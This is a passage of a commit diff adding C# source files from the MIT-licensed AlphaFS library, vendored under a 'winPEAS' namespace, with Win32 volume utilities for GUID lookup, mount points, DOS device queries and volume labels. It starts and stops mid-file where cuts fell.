/// The path of a mounted folder (for example, "Y:\MountX\") or a drive letter (for example, "X:\").
/// </param>
/// <returns>The unique volume name of the form: "\\?\Volume{GUID}\".</returns>
[SuppressMessage("Microsoft.Interoperability", "CA1404:CallGetLastErrorImmediatelyAfterPInvoke", Justification = "Marshal.GetLastWin32Error() is manipulated.")]
[SecurityCritical]
public static string GetVolumeGuid(string volumeMountPoint)
{
if (Utils.IsNullOrWhiteSpace(volumeMountPoint))
throw new ArgumentNullException("volumeMountPoint");
// The string must end with a trailing backslash ('\').
volumeMountPoint = Path.GetFullPathCore(null, false, volumeMountPoint, GetFullPathOptions.AsLongPath | GetFullPathOptions.AddTrailingDirectorySeparator | GetFullPathOptions.FullCheck);
var volumeGuid = new StringBuilder(100);
var uniqueName = new StringBuilder(100);
try
{
using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))
{
// GetVolumeNameForVolumeMountPoint()
// 2013-07-18: MSDN does not confirm LongPath usage but a Unicode version of this function exists.
return NativeMethods.GetVolumeNameForVolumeMountPoint(volumeMountPoint, volumeGuid, (uint)volumeGuid.Capacity)
// The string must end with a trailing backslash.
? NativeMethods.GetVolumeNameForVolumeMountPoint(Path.AddTrailingDirectorySeparator(volumeGuid.ToString(), false), uniqueName, (uint)uniqueName.Capacity)
? uniqueName.ToString()
: null
: null;
}
}
finally
{
var lastError = (uint) Marshal.GetLastWin32Error();
switch (lastError)
{
case Win32Errors.ERROR_MORE_DATA:
// (1) When GetVolumeNameForVolumeMountPoint() succeeds, lastError is set to Win32Errors.ERROR_MORE_DATA.
break;
default:
// (2) When volumeMountPoint is a network drive mapping or UNC path, lastError is set to Win32Errors.ERROR_INVALID_PARAMETER.
// Throw IOException.
NativeError.ThrowException(lastError, volumeMountPoint);
break;
}
}
}
}
}

View File

@@ -0,0 +1,47 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.Diagnostics.CodeAnalysis;
using System.Linq;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Volume
{
/// <summary>[AlphaFS]
/// Tranlates DosDevicePath to a Volume GUID. For example: "\Device\HarddiskVolumeX\path\filename.ext" can translate to: "\path\
/// filename.ext" or: "\\?\Volume{GUID}\path\filename.ext".
/// </summary>
/// <param name="dosDevice">A DosDevicePath, for example: \Device\HarddiskVolumeX\path\filename.ext.</param>
/// <returns>A translated dos path.</returns>
[SuppressMessage("Microsoft.Naming", "CA1709:IdentifiersShouldBeCasedCorrectly", MessageId = "Nt")]
[SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Nt")]
public static string GetVolumeGuidForNtDeviceName(string dosDevice)
{
return (from drive in Directory.EnumerateLogicalDrivesCore(false, false)
where drive.DosDeviceName.Equals(dosDevice, StringComparison.OrdinalIgnoreCase)
select drive.VolumeInfo.Guid).FirstOrDefault();
}
}
}

View File

@@ -0,0 +1,48 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System.Security;
using Microsoft.Win32.SafeHandles;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Volume
{
/// <summary>[AlphaFS] Retrieves information about the file system and volume associated with the specified root file or directorystream.</summary>
/// <param name="volumePath">A path that contains the root directory.</param>
/// <returns>A <see cref="VolumeInfo"/> instance describing the volume associatied with the specified root directory.</returns>
[SecurityCritical]
public static VolumeInfo GetVolumeInfo(string volumePath)
{
return new VolumeInfo(volumePath, true, false);
}
/// <summary>[AlphaFS] Retrieves information about the file system and volume associated with the specified root file or directorystream.</summary>
/// <param name="volumeHandle">An instance to a <see cref="SafeFileHandle"/> handle.</param>
/// <returns>A <see cref="VolumeInfo"/> instance describing the volume associatied with the specified root directory.</returns>
[SecurityCritical]
public static VolumeInfo GetVolumeInfo(SafeFileHandle volumeHandle)
{
return new VolumeInfo(volumeHandle, true, true);
}
}
}

View File

@@ -0,0 +1,81 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.Runtime.InteropServices;
using System.Security;
using System.Text;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Volume
{
/// <summary>[AlphaFS] Retrieves the volume mount point where the specified path is mounted.</summary>
/// <exception cref="ArgumentNullException"/>
/// <param name="path">The path to the volume, for example: "C:\Windows".</param>
/// <returns>
/// <para>Returns the nearest volume root path for a given directory.</para>
/// <para>The volume path name, for example: "C:\Windows" returns: "C:\".</para>
/// </returns>
[SecurityCritical]
public static string GetVolumePathName(string path)
{
if (Utils.IsNullOrWhiteSpace(path))
throw new ArgumentNullException("path");
using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))
{
var volumeRootPath = new StringBuilder(NativeMethods.MaxPathUnicode / 32);
var pathLp = Path.GetFullPathCore(null, false, path, GetFullPathOptions.AsLongPath | GetFullPathOptions.FullCheck);
// GetVolumePathName()
// 2013-07-18: MSDN does not confirm LongPath usage but a Unicode version of this function exists.
var success = NativeMethods.GetVolumePathName(pathLp, volumeRootPath, (uint) volumeRootPath.Capacity);
var lastError = Marshal.GetLastWin32Error();
if (success)
return Path.GetRegularPathCore(volumeRootPath.ToString(), GetFullPathOptions.None, false);
switch ((uint) lastError)
{
// Don't throw exception on these errors.
case Win32Errors.ERROR_NO_MORE_FILES:
case Win32Errors.ERROR_INVALID_PARAMETER:
case Win32Errors.ERROR_INVALID_NAME:
break;
default:
NativeError.ThrowException(lastError, path);
break;
}
// Return original path.
return path;
}
}
}
}

View File

@@ -0,0 +1,39 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Volume
{
/// <summary>[AlphaFS] Gets a value indicating whether a drive is ready.</summary>
/// <param name="drivePath">
/// A path to a drive. For example: "C:\", "\\server\share", or "\\?\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\".
/// </param>
/// <returns><c>true</c> if <paramref name="drivePath"/> is ready; otherwise, <c>false</c>.</returns>
[SecurityCritical]
public static bool IsReady(string drivePath)
{
return File.ExistsCore(null, true, drivePath, PathFormat.FullPath);
}
}
}

View File

@@ -0,0 +1,50 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.Diagnostics.CodeAnalysis;
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Volume
{
/// <summary>[AlphaFS] Determines whether the volume of two file system objects is the same, by comparing their serial numbers.</summary>
/// <param name="path1">The first filesystem object with full path information.</param>
/// <param name="path2">The second file system object with full path information.</param>
/// <returns><c>true</c> if both filesytem objects reside on the same volume, <c>false</c> otherwise.</returns>
[SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")]
[SecurityCritical]
public static bool IsSameVolume(string path1, string path2)
{
try
{
var volInfo1 = new VolumeInfo(GetVolumePathName(path1), true, true);
var volInfo2 = new VolumeInfo(GetVolumePathName(path2), true, true);
return volInfo1.SerialNumber.Equals(volInfo2.SerialNumber) || volInfo1.Guid.Equals(volInfo2.Guid, StringComparison.OrdinalIgnoreCase);
}
catch { }
return false;
}
}
}

View File

@@ -0,0 +1,39 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Volume
{
/// <summary>[AlphaFS] Determines whether the specified volume name is a defined volume on the current computer.</summary>
/// <param name="volumeMountPoint">
/// A path to a volume. For example: "C:\", "\\server\share", or "\\?\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\".
/// </param>
/// <returns><c>true</c> on success, <c>false</c> otherwise.</returns>
[SecurityCritical]
public static bool IsVolume(string volumeMountPoint)
{
return !Utils.IsNullOrWhiteSpace(GetVolumeGuid(volumeMountPoint));
}
}
}

View File

@@ -0,0 +1,164 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security;
using System.Text;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Volume
{
/// <summary>[AlphaFS] Retrieves a sorted list of all existing MS-DOS device names.</summary>
/// <returns>An <see cref="IEnumerable{String}"/> sorted list of all existing MS-DOS device names.</returns>
[SecurityCritical]
public static IEnumerable<string> QueryAllDosDevices()
{
return QueryDosDeviceCore(null, true);
}
/// <summary>[AlphaFS] Retrieves the current mapping for a particular MS-DOS device name.</summary>
/// <returns>The current mapping for a particular MS-DOS device name.</returns>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="FileNotFoundException"/>
/// <param name="deviceName">An MS-DOS device name string specifying the target of the query, such as: "C:", "D:" or "\\?\Volume{GUID}".</param>
[SecurityCritical]
public static string QueryDosDevice(string deviceName)
{
if (Utils.IsNullOrWhiteSpace(deviceName))
throw new ArgumentNullException("deviceName");
var devName = QueryDosDeviceCore(deviceName, false).ToArray()[0];
return !Utils.IsNullOrWhiteSpace(devName) ? devName : null;
}
/// <summary>[AlphaFS] Retrieves the current mapping for a particular MS-DOS device name. The function can also obtain a list of all existing MS-DOS device names.</summary>
/// <returns>An <see cref="IEnumerable{String}"/> sorted list of all existing MS-DOS device names or the .</returns>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="FileNotFoundException"/>
/// <param name="deviceName">An MS-DOS device name string specifying the target of the query, such as: "C:", "D:" or "\\?\Volume{GUID}".</param>
/// <param name="sort"><c>true</c> to sort the list with MS-DOS device names.</param>
[SecurityCritical]
internal static IEnumerable<string> QueryDosDeviceCore(string deviceName, bool sort)
{
// deviceName is allowed to be null: Retrieve a list of all existing MS-DOS device names.
// The deviceName cannot have a trailing backslash.
if (!Utils.IsNullOrWhiteSpace(deviceName))
{
if (deviceName.StartsWith(Path.GlobalRootPrefix, StringComparison.OrdinalIgnoreCase))
{
yield return deviceName.Substring(Path.GlobalRootPrefix.Length);
yield break;
}
if (deviceName.StartsWith(Path.VolumePrefix, StringComparison.OrdinalIgnoreCase))
deviceName = deviceName.Substring(Path.LongPathPrefix.Length);
deviceName = Path.RemoveTrailingDirectorySeparator(deviceName);
}
uint returnedBufferSize = 0;
var bufferSize = (uint) (sort ? NativeMethods.DefaultFileBufferSize : 64);
var sortedList = new List<string>(sort ? 256 : 0);
using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))
while (returnedBufferSize == 0)
{
var cBuffer = new char[bufferSize];
returnedBufferSize = NativeMethods.QueryDosDevice(deviceName, cBuffer, bufferSize);
var lastError = Marshal.GetLastWin32Error();
if (returnedBufferSize == 0)
switch ((uint) lastError)
{
case Win32Errors.ERROR_MORE_DATA:
case Win32Errors.ERROR_INSUFFICIENT_BUFFER:
bufferSize *= 2;
continue;
default:
NativeError.ThrowException(lastError, deviceName);
break;
}
var buffer = new StringBuilder((int) returnedBufferSize);
for (var i = 0; i < returnedBufferSize; i++)
{
if (cBuffer[i] != Path.StringTerminatorChar)
buffer.Append(cBuffer[i]);
else if (buffer.Length > 0)
{
var assembledPath = buffer.ToString();
assembledPath = !Utils.IsNullOrWhiteSpace(assembledPath) ? assembledPath : null;
if (sort)
sortedList.Add(assembledPath);
else
yield return assembledPath;
buffer.Length = 0;
}
}
}
if (sort)
{
foreach (var devName in sortedList.OrderBy(devName => devName))
yield return devName;
}
}
}
}

View File

@@ -0,0 +1,82 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.Diagnostics.CodeAnalysis;
using System.Runtime.InteropServices;
using System.Security;
using winPEAS._3rdParty.AlphaFS;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Volume
{
/// <summary>[AlphaFS] Associates a volume with a Drive letter or a directory on another volume.</summary>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <param name="volumeMountPoint">
/// The user-mode path to be associated with the volume. This may be a Drive letter (for example, "X:\")
/// or a directory on another volume (for example, "Y:\MountX\").
/// </param>
/// <param name="volumeGuid">A <see cref="string"/> containing the volume <see cref="Guid"/>.</param>
[SuppressMessage("Microsoft.Design", "CA1062:Validate arguments of public methods", MessageId = "1", Justification = "Utils.IsNullOrWhiteSpace validates arguments.")]
[SecurityCritical]
public static void SetVolumeMountPoint(string volumeMountPoint, string volumeGuid)
{
if (Utils.IsNullOrWhiteSpace(volumeMountPoint))
throw new ArgumentNullException("volumeMountPoint");
if (Utils.IsNullOrWhiteSpace(volumeGuid))
throw new ArgumentNullException("volumeGuid");
if (!volumeGuid.StartsWith(Path.VolumePrefix + "{", StringComparison.OrdinalIgnoreCase))
throw new ArgumentException(Resources.Not_A_Valid_Guid, "volumeGuid");
volumeMountPoint = Path.GetFullPathCore(null, false, volumeMountPoint, GetFullPathOptions.AsLongPath | GetFullPathOptions.AddTrailingDirectorySeparator | GetFullPathOptions.FullCheck);
// This string must be of the form "\\?\Volume{GUID}\"
volumeGuid = Path.AddTrailingDirectorySeparator(volumeGuid, false);
// ChangeErrorMode is for the Win32 SetThreadErrorMode() method, used to suppress possible pop-ups.
using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))
{
// SetVolumeMountPoint()
// 2014-01-29: MSDN does not confirm LongPath usage but a Unicode version of this function exists.
// The string must end with a trailing backslash.
var success = NativeMethods.SetVolumeMountPoint(volumeMountPoint, volumeGuid);
var lastError = Marshal.GetLastWin32Error();
if (!success)
{
// If the lpszVolumeMountPoint parameter contains a path to a mounted folder,
// GetLastError returns ERROR_DIR_NOT_EMPTY, even if the directory is empty.
if (lastError != Win32Errors.ERROR_DIR_NOT_EMPTY)
NativeError.ThrowException(lastError, volumeGuid);
}
}
}
}
}

View File

@@ -0,0 +1,114 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.Runtime.InteropServices;
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Volume
{
/// <summary>[AlphaFS] Deletes the label of the file system volume that is the root of the current directory.</summary>
[SecurityCritical]
public static void DeleteCurrentVolumeLabel()
{
SetVolumeLabel(null, null);
}
/// <summary>[AlphaFS] Deletes the label of a file system volume.</summary>
/// <exception cref="ArgumentNullException"/>
/// <param name="rootPathName">The root directory of a file system volume. This is the volume the function will remove the label.</param>
[SecurityCritical]
public static void DeleteVolumeLabel(string rootPathName)
{
if (Utils.IsNullOrWhiteSpace(rootPathName))
throw new ArgumentNullException("rootPathName");
SetVolumeLabel(rootPathName, null);
}
/// <summary>[AlphaFS] Retrieve the label of a file system volume.</summary>
/// <param name="volumePath">
/// A path to a volume. For example: "C:\", "\\server\share", or "\\?\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\".
/// </param>
/// <returns>The the label of the file system volume. This function can return <c>string.Empty</c> since a volume label is generally not mandatory.</returns>
[SecurityCritical]
public static string GetVolumeLabel(string volumePath)
{
return new VolumeInfo(volumePath, true, true).Name;
}
/// <summary>[AlphaFS] Sets the label of the file system volume that is the root of the current directory.</summary>
/// <exception cref="ArgumentNullException"/>
/// <param name="volumeName">A name for the volume.</param>
[SecurityCritical]
public static void SetCurrentVolumeLabel(string volumeName)
{
if (Utils.IsNullOrWhiteSpace(volumeName))
throw new ArgumentNullException("volumeName");
var success = NativeMethods.SetVolumeLabel(null, volumeName);
var lastError = Marshal.GetLastWin32Error();
if (!success)
NativeError.ThrowException(lastError, volumeName);
}
/// <summary>[AlphaFS] Sets the label of a file system volume.</summary>
/// <param name="volumePath">
/// <para>A path to a volume. For example: "C:\", "\\server\share", or "\\?\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\"</para>
/// <para>If this parameter is <c>null</c>, the function uses the current drive.</para>
/// </param>
/// <param name="volumeName">
/// <para>A name for the volume.</para>
/// <para>If this parameter is <c>null</c>, the function deletes any existing label</para>
/// <para>from the specified volume and does not assign a new label.</para>
/// </param>
[SecurityCritical]
public static void SetVolumeLabel(string volumePath, string volumeName)
{
// rootPathName == null is allowed, means current drive.
// Setting volume label only applies to Logical Drives pointing to local resources.
//if (!Path.IsLocalPath(rootPathName))
//return false;
volumePath = Path.AddTrailingDirectorySeparator(volumePath, false);
// NTFS uses a limit of 32 characters for the volume label as of Windows Server 2003.
using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))
{
var success = NativeMethods.SetVolumeLabel(volumePath, volumeName);
var lastError = Marshal.GetLastWin32Error();
if (!success)
NativeError.ThrowException(lastError, volumePath, volumeName);
}
}
}
}

View File

@@ -0,0 +1,28 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
namespace Alphaleonis.Win32.Filesystem
{
/// <summary>[AlphaFS] Static class providing utility methods for working with Microsoft Windows devices and volumes.</summary>
public static partial class Volume
{
}
}

View File

@@ -0,0 +1,380 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using Microsoft.Win32.SafeHandles;
using System;
using System.Diagnostics.CodeAnalysis;
using System.Runtime.InteropServices;
using System.Security;
using System.Text;
using winPEAS._3rdParty.AlphaFS;
namespace Alphaleonis.Win32.Filesystem
{
/// <summary>Contains information about a filesystem Volume.</summary>
[Serializable]
[SecurityCritical]
public sealed class VolumeInfo
{
[NonSerialized] private readonly bool _continueOnAccessError;
[NonSerialized] private readonly SafeFileHandle _volumeHandle;
[NonSerialized] private NativeMethods.VOLUME_INFO_FLAGS _volumeInfoAttributes;
/// <summary>Initializes a VolumeInfo instance.</summary>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="ArgumentException"/>
/// <param name="volumeName">A valid drive path or drive letter. This can be either uppercase or lowercase, 'a' to 'z' or a network share in the format: \\server\share.</param>
[SuppressMessage("Microsoft.Design", "CA1062:Validate arguments of public methods", MessageId = "0", Justification = "Utils.IsNullOrWhiteSpace validates arguments.")]
[SecurityCritical]
public VolumeInfo(string volumeName)
{
if (Utils.IsNullOrWhiteSpace(volumeName))
throw new ArgumentNullException("volumeName");
if (!volumeName.StartsWith(Path.LongPathPrefix, StringComparison.Ordinal))
volumeName = Path.IsUncPathCore(volumeName, false, false) ? Path.GetLongPathCore(volumeName, GetFullPathOptions.None) : Path.LongPathPrefix + volumeName;
else
{
volumeName = volumeName.Length == 1 ? volumeName + Path.VolumeSeparatorChar : Path.GetPathRoot(volumeName, false);
if (!volumeName.StartsWith(Path.GlobalRootPrefix, StringComparison.OrdinalIgnoreCase))
